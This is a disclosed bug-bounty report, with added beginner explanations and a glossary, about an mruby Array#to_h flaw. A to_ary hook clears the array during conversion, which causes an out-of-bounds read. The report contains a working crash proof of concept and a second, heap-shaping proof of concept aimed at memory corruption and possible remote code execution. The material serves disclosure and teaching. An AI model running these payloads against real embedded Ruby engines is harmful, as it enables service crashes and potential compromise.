Use after free vulnerability in mruby Array#to_h causing DOS possible RCE
The mruby Array#to_h implementation iterates an array and calls a user-defined to_ary method on non-array elements, but does not re-check the array length afterwards. If to_ary shrinks or clears the array, the code reads an out-of-bounds element, causing a crash and denial of service, with the authors arguing it could be pushed to memory corruption and remote code execution.
- Triaged in 4 days
- Fixed in 5 days
- Paid in 36 days
- Disclosed after 36 days
This bug was found with jmlb337.
Vulnerability
The function to_h will call the C function mrb_ary_to_h. This will iterate through the elements of the array. If an element is not of type Array it will call attempt to call to_ary method of that object. If to_ary does not return an array, the function will raise a ruby exception with the class name in the exception message.
However, the code does not properly check that the array length was not modified during the call of to_ary. The vulnerability is triggered when the array is shrunk during call to to_ary, letting mrb_ary_to_h read an out of bound object to get an element classname. A crash or or denial of service can be triggered by neutering the array in the to_ary call. A mrb_obj_iv_set call done on the controlled class pointer can be used to have a memory write leading to RCE.
Reproduction Step
- Define a new class that will define the method
to_ary. - in the
to_aryclear a global array that will be later define and return a non array object. - Create the global array containing an instance of the defined class.
- Call
to_hon that array.
PoC DOS
class A
def to_ary
$a.clear
nil
end
end
$a = [A.new]
$a.to_h
This POC will cause a null memory access and terminate the mruby process.
Explaination
The bug is triggered due to call back to to_ary in array.c:130:
v = mrb_check_array_type(mrb, RARRAY_PTR(ary)[i]);
The function mrb_check_array_type check if the element at RARRAY_PTR(ary)[i]. in the case of the POC it will be of type A. It will then continue to call the to_ary method of the A class to convert the value into an array.
MRB_API mrb_value
mrb_check_array_type(mrb_state *mrb, mrb_value ary)
{
return mrb_check_convert_type(mrb, ary, MRB_TT_ARRAY, "Array", "to_ary");
}
MRB_API mrb_value
mrb_check_convert_type(mrb_state *mrb, mrb_value val, enum mrb_vtype type, const char *tname, const char *method)
{
mrb_value v;
if (mrb_type(val) == type && type != MRB_TT_DATA) return val;
v = convert_type(mrb, val, tname, method, FALSE);
if (mrb_nil_p(v) || mrb_type(v) != type) return mrb_nil_value();
return v;
}
By calling the Array#clear method on the global array, the pointer to the array data (ptr) will be set to null.
MRB_API mrb_value
mrb_ary_clear(mrb_state *mrb, mrb_value self)
{
...
a->len = 0;
a->aux.capa = 0;
a->ptr = 0;
...
Since to_ary will not return an array, the C code will attempt to raise an exception with the class name in the exception message.
if (mrb_nil_p(v)) {
mrb_raisef(mrb, E_TYPE_ERROR, "wrong element type %S at %S (expected array)",
mrb_str_new_cstr(mrb, mrb_obj_classname(mrb, RARRAY_PTR(ary)[i])),
when it calls RARRAY_PTR(ary)[i] it will attempt to reference 0[i] and crash the process.
Exploitability
The vulnerability is exploitable as long as the attacker can run arbitrary ruby code in the mruby interpreter. It should cover mruby-engine case as used by Shopify.
Impact
This vulnerability can cause a Denial Of service on the mruby process very reliably. It could also lead to farther memory corruption and potentially lead to Remote Code Execution.
We are convinced we can push this bug further to lead to memory corruption and RCE. I spoke with François Chagnon and we preferred to report the bugs as soon as possible while working on a complete proof of concept afterward so it can get patched earlier. Therefor we would like a week or two to get time to work on this and be able to claim the higher tier bounty. The proof of concept would also used the other reported bug #181319 to get a memory disclosure.
Possible Remote Code Execution POC #2
$size = 32
$bb = []
for i in 0..256
$bb.push("b"*$size)
end
class A
def to_ary
$bb.clear
$a.clear
$a.push("b"*256)
#first byte is 0 as long as the lsb != 1 its fine
$a.push("\x00bcdefg\x70hijklmnopqurtuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY"*3 + ("a"*200))
$a.push("y"*256)
$a.push("e"*256)
return "a"
end
end
$a = [[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],A.new]
for i in 0..256
$bb.push("z"*$size)
end
@a = $a.to_h
Exploitation
In the second POC, and attacker creates an array of 7 elements where the last element has an object with the vulnerable to_ary method. 7 elements is important because when the bug is triggered the index of the array will be out of bounds by 3 pointer size. That is where our data will be.
after clearing the global array push some elements back into the array. No more than 4 since that will increase the capacity of the array to 8 and our index will not be out of bounds.
by pushing the large strings the data of the strings will be placed after the array data. When the call is made to mrb_obj_classname(mrb, RARRAY_PTR(ary)[i]),
user controlled data will be returned.
An attacker could then craft an mrb_value object using the strings and cause farther memory corruption.
There exists code paths that could allow an attacker to right data to a pointer crafted by the attacker.
Proposed Fix
See patch in attachment.
Context
This report concerns mruby, the lightweight Ruby implementation embedded in the shopify-scripts program. The feature in question is Array#to_h, which calls the C function mrb_ary_to_h. Internally, the Ruby method to_h calls the C function mrb_ary_to_h, which iterates over the elements of the array. When an element is not itself an Array, the code attempts to convert it by calling that object's to_ary method. If to_ary does not return an array, the function raises a Ruby exception whose message includes the class name of the offending element.
The bug was found together with jmlb337.
Setup
The vulnerability is reachable whenever an attacker can run arbitrary Ruby code inside the mruby interpreter. The report states this should cover the mruby-engine case. No specific version, build flags or tooling are given in the report.
Finding it
The researcher noticed that mrb_ary_to_h does not properly check that the array length was not modified during the call to to_ary. Because to_ary is attacker-controlled Ruby code, it can mutate the very array being iterated. If the array is shrunk during that call, mrb_ary_to_h subsequently reads an out-of-bounds object when it tries to obtain an element's class name. Neutering the array inside to_ary reliably produces a crash or denial of service, and the report argues that a memory write via an mrb_obj_iv_set call on a controlled class pointer could lead to RCE.
Exploitation
Step 1: Define a class with to_ary
Define a new class that implements the method to_ary.
Step 2: Clear the global array inside to_ary
Inside to_ary, clear a global array that will be defined later, and return a non-array object.
Step 3: Create the global array containing an instance of the class
Create the global array holding an instance of the defined class.
Step 4: Call to_h on that array
Call to_h on the array.
The denial-of-service proof of concept combines these steps:
class A
def to_ary
$a.clear
nil
end
end
$a = [A.new]
$a.to_h
This PoC causes a null memory access and terminates the mruby process.
A second PoC aimed at RCE
The report also presents a second proof of concept intended to move towards memory corruption and remote code execution:
$size = 32
$bb = []
for i in 0..256
$bb.push("b"*$size)
end
class A
def to_ary
$bb.clear
$a.clear
$a.push("b"*256)
#first byte is 0 as long as the lsb != 1 its fine
$a.push("\x00bcdefg\[redacted]"*3 + ("a"*200))
$a.push("y"*256)
$a.push("e"*256)
return "a"
end
end
$a = [[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],A.new]
for i in 0..256
$bb.push("z"*$size)
end
@a = $a.to_h
In this second PoC the attacker creates an array of 7 elements where the last element is an object with the vulnerable to_ary method. Seven elements matters because, when the bug is triggered, the index into the array is out of bounds by three pointer sizes, and that is where the attacker's data will be.
After clearing the global array, the PoC pushes elements back into it. It must push no more than 4, because that would increase the capacity of the array to 8 and the index would no longer be out of bounds. By pushing the large strings, the string data is placed after the array data. When the call to mrb_obj_classname(mrb, RARRAY_PTR(ary)[i]) is made, user-controlled data is returned. An attacker could then craft an mrb_value object using the strings and cause further memory corruption. The report notes that there exist code paths that could allow an attacker to write data to a pointer crafted by the attacker.
Root cause
The bug originates in the callback to to_ary at array.c:130:
v = mrb_check_array_type(mrb, RARRAY_PTR(ary)[i]);
mrb_check_array_type checks the element at RARRAY_PTR(ary)[i], which in the PoC is of type A, and then calls the to_ary method of A to convert the value into an array:
MRB_API mrb_value
mrb_check_array_type(mrb_state *mrb, mrb_value ary)
{
return mrb_check_convert_type(mrb, ary, MRB_TT_ARRAY, "Array", "to_ary");
}
MRB_API mrb_value
mrb_check_convert_type(mrb_state *mrb, mrb_value val, enum mrb_vtype type, const char *tname, const char *method)
{
mrb_value v;
if (mrb_type(val) == type && type != MRB_TT_DATA) return val;
v = convert_type(mrb, val, tname, method, FALSE);
if (mrb_nil_p(v) || mrb_type(v) != type) return mrb_nil_value();
return v;
}
Calling Array#clear on the global array sets the pointer to the array data (ptr) to null:
MRB_API mrb_value
mrb_ary_clear(mrb_state *mrb, mrb_value self)
{
...
a->len = 0;
a->aux.capa = 0;
a->ptr = 0;
...
Since to_ary does not return an array, the C code attempts to raise an exception with the class name in the message:
if (mrb_nil_p(v)) {
mrb_raisef(mrb, E_TYPE_ERROR, "wrong element type %S at %S (expected array)",
mrb_str_new_cstr(mrb, mrb_obj_classname(mrb, RARRAY_PTR(ary)[i])),
When it evaluates RARRAY_PTR(ary)[i] it attempts to reference 0[i] and crashes the process. The code does not properly check that the array length was not modified during the call to to_ary.
Impact
The vulnerability can cause a denial of service on the mruby process very reliably. It could also lead to further memory corruption and potentially to remote code execution. The researchers state they are convinced they can push the bug further to memory corruption and RCE. They spoke with François Chagnon and preferred to report the bugs as soon as possible while working on a complete proof of concept afterwards, so that it could be patched earlier. They therefore asked for a week or two to work on this and be able to claim the higher tier bounty. That proof of concept would also use the other reported bug, #181319, to get a memory disclosure.
Fix
The report's proposed fix is "See patch in attachment". The text does not describe the contents of that patch.
Variants to test
- A positive result is a crash or an out-of-bounds read when the hook mutates the container.
What happened, in plain words
A security researcher found a bug in mruby, a small version of the Ruby programming language that is built into other software. The bug is in a feature that turns a list into a lookup table (Ruby calls the list an array and the lookup table a hash). When the conversion runs, it asks each item in the list to convert itself, and that request runs code the attacker controls. That code can shrink the list while the conversion is still walking through it. The conversion then looks past the end of the list, at memory it should never touch. The simplest result is that the program crashes. The researcher argues that with more work the same flaw could let an attacker write to memory they choose, which can lead to running their own code on the server.
The report was filed on the shopify-scripts program on HackerOne, a platform where researchers report bugs to companies. The researcher is isra17, and the bug was found together with jmlb337. It was rated critical and disclosed on 16 December 2016.
Background: the pieces you need
Before the details make sense, here are the ideas the report relies on.
Ruby and mruby. Ruby is a programming language. mruby is a much smaller implementation of Ruby, designed to be embedded inside another program. The report says the bug should cover the mruby-engine case. If an attacker can get their Ruby code run by that engine, they can reach this bug.
Array and hash. An array is an ordered list of items, like a shopping list. A hash is a lookup table: you give it a key and it gives you back a value, like a phone book where a name maps to a number. Ruby's to_h method calls the C function mrb_ary_to_h.
C and Ruby together. mruby is written mostly in C, a low-level language that talks almost directly to the computer's memory. The Ruby method to_h is a thin wrapper: when you call it, mruby runs a C function called mrb_ary_to_h. That C function walks through the array element by element.
Conversion hooks. Ruby lets an object say "if you need me as an array, call my to_ary method". This is a hook: a method the language calls automatically when it needs to convert your object. The danger is that the hook is ordinary Ruby code, so whoever wrote the object decides what runs at that moment.
Out-of-bounds read. Computer memory is like a row of numbered boxes. A program that keeps a list stores the position of the first box and how many boxes it uses. If the program is told to read box number 10 but the list only has 5 boxes, it reads whatever happens to sit after the list. That is an out-of-bounds read. It can crash the program, or it can leak data that belongs to something else.
Denial of service (DoS). An attack that makes a service stop working, for example by crashing it, without necessarily stealing anything.
Remote code execution (RCE). The most serious outcome: the attacker gets their own instructions executed by the target. It usually requires first corrupting memory in a controlled way.
Out-of-bounds read after clear. The array's storage is cleared while the conversion loop is still using it, so the loop reads past the end.
The vulnerability
The Ruby method to_h calls the C function mrb_ary_to_h. That function iterates through the elements of the array. If an element is not of type Array, it attempts to call the to_ary method of that object. If to_ary does not return an array, the function raises a Ruby exception with the class name in the exception message.
In plain words: the loop expects every item to be either a real array or something that can turn itself into one. When an item cannot, mruby builds an error message that includes the item's class name, so the programmer knows what went wrong. To build that message it has to look the item up again in the array.
The problem is that the code does not properly check that the array length was not modified during the call to to_ary. The vulnerability is triggered when the array is shrunk during the call to to_ary, letting mrb_ary_to_h read an out-of-bounds object to get an element class name. A crash or denial of service can be triggered by neutering the array in the to_ary call. A mrb_obj_iv_set call done on the controlled class pointer can be used to have a memory write leading to RCE.
Think of a librarian reading names from a list aloud. Between two names, someone tears pages out of the list. The librarian, still trusting the original page count, reads from a page that no longer exists and reads whatever is written on the desk underneath.
Reproduction steps
The report gives four steps to trigger the bug:
- Define a new class that will define the method
to_ary. - In the
to_ary, clear a global array that will be defined later, and return a non-array object. - Create the global array containing an instance of the defined class.
- Call
to_hon that array.
Why this order? The class has to exist before an instance of it can be placed in the array. The to_ary method has to refer to the global array by name, and Ruby resolves that name only when the method actually runs, so the array can be created after the class.
Proof of concept for denial of service
class A
def to_ary
$a.clear
nil
end
end
$a = [A.new]
$a.to_h
Line by line:
class Aopens the definition of a new class namedA. A class is a blueprint for objects.def to_arystarts the definition of the conversion hook. mruby will call this automatically when it needsAas an array.$a.clearempties the global array named$a. A name starting with$is a global variable, visible everywhere in the program.clearremoves every element and, as shown later, sets the array's data pointer to null.nilis Ruby's "nothing" value. Returning it means "I am not an array", which is exactly the case that makes mruby try to build the error message.endcloses the method, and the secondendcloses the class.$a = [A.new]creates the global array with one element: a fresh instance ofA, made withA.new.$a.to_hasks the array to convert itself into a hash. This is the trigger.
This PoC causes a null memory access and terminates the mruby process. A null memory access means the program tried to read through a null pointer, and the process is killed.
Explanation: where it goes wrong in the code
The bug is triggered due to the callback to to_ary in array.c:130:
v = mrb_check_array_type(mrb, RARRAY_PTR(ary)[i]);
This line takes element number i from the array and asks mruby to check whether it is an array. RARRAY_PTR(ary) is the pointer to the array's storage, and [i] picks the element at position i.
The function mrb_check_array_type checks the element at RARRAY_PTR(ary)[i]. In the case of the PoC it will be of type A. It will then continue to call the to_ary method of the A class to convert the value into an array.
MRB_API mrb_value
mrb_check_array_type(mrb_state *mrb, mrb_value ary)
{
return mrb_check_convert_type(mrb, ary, MRB_TT_ARRAY, "Array", "to_ary");
}
MRB_API mrb_value
mrb_check_convert_type(mrb_state *mrb, mrb_value val, enum mrb_vtype type, const char *tname, const char *method)
{
mrb_value v;
if (mrb_type(val) == type && type != MRB_TT_DATA) return val;
v = convert_type(mrb, val, tname, method, FALSE);
if (mrb_nil_p(v) || mrb_type(v) != type) return mrb_nil_value();
return v;
}
In plain words: mrb_check_array_type is a small wrapper that says "check whether this value is an array, and if not, try calling its to_ary method". mrb_check_convert_type does the work. If the value is already an array (and not a special data type), it is returned as is. Otherwise convert_type calls the named method, here to_ary. If the result is nil or is not an array, the function returns nil. That nil is what later makes the caller try to raise an error.
By calling the Array#clear method on the global array, the pointer to the array data (ptr) will be set to null.
MRB_API mrb_value
mrb_ary_clear(mrb_state *mrb, mrb_value self)
{
...
a->len = 0;
a->aux.capa = 0;
a->ptr = 0;
...
This is the heart of the bug. The array's internal record has fields len, aux.capa and ptr, and clear sets all three to zero. clear sets all three to zero. The loop that is still running, however, is holding on to the old idea of the array and its index i. It does not know the storage has just been thrown away.
Since to_ary will not return an array, the C code will attempt to raise an exception with the class name in the exception message.
if (mrb_nil_p(v)) {
mrb_raisef(mrb, E_TYPE_ERROR, "wrong element type %S at %S (expected array)",
mrb_str_new_cstr(mrb, mrb_obj_classname(mrb, RARRAY_PTR(ary)[i])),
This block runs when the conversion returned nil. It builds a type error whose message names the class of the offending element. To get that class name it calls mrb_obj_classname on RARRAY_PTR(ary)[i], which means it reads the element from the array again. But ptr is now zero, so this is reading from address zero plus the offset i. When it calls RARRAY_PTR(ary)[i] it will attempt to reference 0[i] and crash the process.
The everyday version: the librarian was told the list starts at a certain shelf, the shelf was removed mid-sentence, and the librarian still reaches for it.
Exploitability
The vulnerability is exploitable as long as the attacker can run arbitrary ruby code in the mruby interpreter. It should cover the mruby-engine case as used by Shopify.
In other words, the attacker only needs their Ruby code to be executed by the mruby interpreter. That is why the report stresses the mruby-engine scenario: if a platform runs untrusted Ruby, this bug is reachable from that untrusted code.
Impact
This vulnerability can cause a Denial Of service on the mruby process very reliably. It could also lead to farther memory corruption and potentially lead to Remote Code Execution.
The researchers add that they are convinced they can push this bug further to lead to memory corruption and RCE. They spoke with François Chagnon and preferred to report the bugs as soon as possible while working on a complete proof of concept afterwards so it can get patched earlier. They therefore would like a week or two to get time to work on this and be able to claim the higher tier bounty. The proof of concept would also use the other reported bug #181319 to get a memory disclosure.
A memory disclosure is a bug that lets an attacker read memory they should not see. It is useful as a companion: first you read memory to learn where things are, then you use a write bug to change them.
A second proof of concept aimed at remote code execution
$size = 32
$bb = []
for i in 0..256
$bb.push("b"*$size)
end
class A
def to_ary
$bb.clear
$a.clear
$a.push("b"*256)
#first byte is 0 as long as the lsb != 1 its fine
$a.push("\x00bcdefg\[redacted]"*3 + ("a"*200))
$a.push("y"*256)
$a.push("e"*256)
return "a"
end
end
$a = [[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],A.new]
for i in 0..256
$bb.push("z"*$size)
end
@a = $a.to_h
Line by line:
$size = 32stores the number 32 in a global variable, used as the length of filler strings.$bb = []creates an empty global array.for i in 0..256starts a loop that runs 257 times (Ruby ranges include both ends).$bb.push("b"*$size)adds a string of 32bcharacters to$bbeach time.pushappends to the end of an array. This fills memory with predictable content before the interesting part.class Aanddef to_arydefine the same hook as before.$bb.clearempties the filler array, freeing that memory so it can be reused.$a.clearempties the target array, the same trick as the first PoC.$a.push("b"*256)puts a 256-character string back into the array.- The comment
#first byte is 0 as long as the lsb != 1 its fineis a note about the first byte of the crafted data and the least significant bit. It is the researcher's reasoning about how the crafted value will be interpreted. $a.push("\x00bcdefg\[redacted]"*3 + ("a"*200))pushes a carefully built string.\x00is a zero byte and\x70is the letterpwritten as a byte value. The pattern is repeated three times and followed by 200acharacters. This is the attacker-controlled data that the out-of-bounds read is meant to land on.$a.push("y"*256)and$a.push("e"*256)add two more large strings, each with a different repeated character, so the researcher can tell which piece of memory was read.return "a"returns a string, not an array, so the error path is taken again.endcloses the method and the class.$a = [[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],[1,"a"],A.new]builds an array of seven elements. The first six are pairs, which is whatto_hnormally expects. The seventh is the malicious object.- The second
for i in 0..256loop pushes 257 more 32-characterzstrings into$bb, filling the memory that was just freed with new content. @a = $a.to_htriggers the conversion. A name starting with@is an instance variable, a value attached to the current object.
Exploitation: why the second PoC is shaped this way
In the second POC, an attacker creates an array of 7 elements where the last element has an object with the vulnerable to_ary method. 7 elements is important because when the bug is triggered the index of the array will be out of bounds by 3 pointer size. That is where our data will be.
A pointer is a number that says where something lives in memory. The report says the index is out of bounds by three pointer sizes. The researcher chose the array length so that the read lands exactly on data they control.
After clearing the global array, the PoC pushes elements back into the array. No more than 4, since that will increase the capacity of the array to 8 and our index will not be out of bounds.
This is a subtle point about how arrays grow. The report says pushing more than 4 elements increases the array's capacity to 8. The out-of-bounds position only exists while the array is small; pushing a fifth element would trigger a resize and the read would land somewhere harmless.
By pushing the large strings the data of the strings will be placed after the array data. When the call is made to mrb_obj_classname(mrb, RARRAY_PTR(ary)[i]), user controlled data will be returned.
So the layout in memory is: the array's own storage first, then the contents of the big strings. The out-of-bounds read reaches into the strings, and the "class name" in the error message is built from bytes the attacker chose.
An attacker could then craft an mrb_value object using the strings and cause farther memory corruption. An mrb_value is how mruby represents any Ruby value internally: a small structure holding a type tag and a value. If an attacker can make mruby treat attacker-chosen bytes as an mrb_value, they can influence what mruby does next.
There exists code paths that could allow an attacker to right data to a pointer crafted by the attacker. (The report writes "right" where it means "write".) A write to an address the attacker chooses is the classic step from a crash to code execution.
Root cause, restated
The missing check is simple to state: the conversion loop must not trust the array's length or storage across a call into Ruby code. The hook can do anything, including clearing the array. The report does not describe what the patch changes.
Proposed fix
The report's proposed fix is "See patch in attachment".
Glossary
- Array: an ordered list of values in Ruby, like a shopping list.
- Hash: a lookup table that maps keys to values, like a phone book.
to_h: the Ruby method that converts an array of pairs into a hash.to_ary: a conversion hook; Ruby calls it when it needs an object to behave as an array.- Hook / callback: a method the language calls automatically at a certain moment, here during conversion.
- C: a low-level programming language used to write mruby's internals.
- mruby: a small, embeddable implementation of the Ruby language.
- mruby-engine: the way Shopify ran mruby code, as described in the report.
- Pointer: a number identifying a location in memory.
ptr: the field in an array's internal record that holds the address of its element storage.len: the field holding how many elements an array currently has.- Capacity: how much room an array has reserved before it must grow.
- Out-of-bounds read: reading memory outside the area a program legitimately owns.
- Null memory access: trying to read from address zero, which the operating system forbids, so the process crashes.
- Denial of service (DoS): making a service stop working, for example by crashing it.
- Memory corruption: changing memory in a way the program did not intend, often the first step to running attacker code.
- Remote code execution (RCE): getting your own instructions executed on the target system.
- Memory disclosure: a bug that lets an attacker read memory they should not see.
- Use after free: using memory after it has been released or invalidated.
mrb_value: mruby's internal representation of any Ruby value, holding a type tag and a value.mrb_obj_classname: the C function that returns an object's class name, used when building the error message.mrb_obj_iv_set: a C function mentioned in the report as a way to perform a memory write on a controlled pointer.- Global variable: a variable visible everywhere in a program, written with a leading
$in Ruby. - Instance variable: a variable attached to an object, written with a leading
@in Ruby. - Least significant bit (lsb): the lowest-value bit of a byte, mentioned in the PoC comment.
- HackerOne: the platform where the bug was reported.
- Bounty: a reward paid for a valid security report.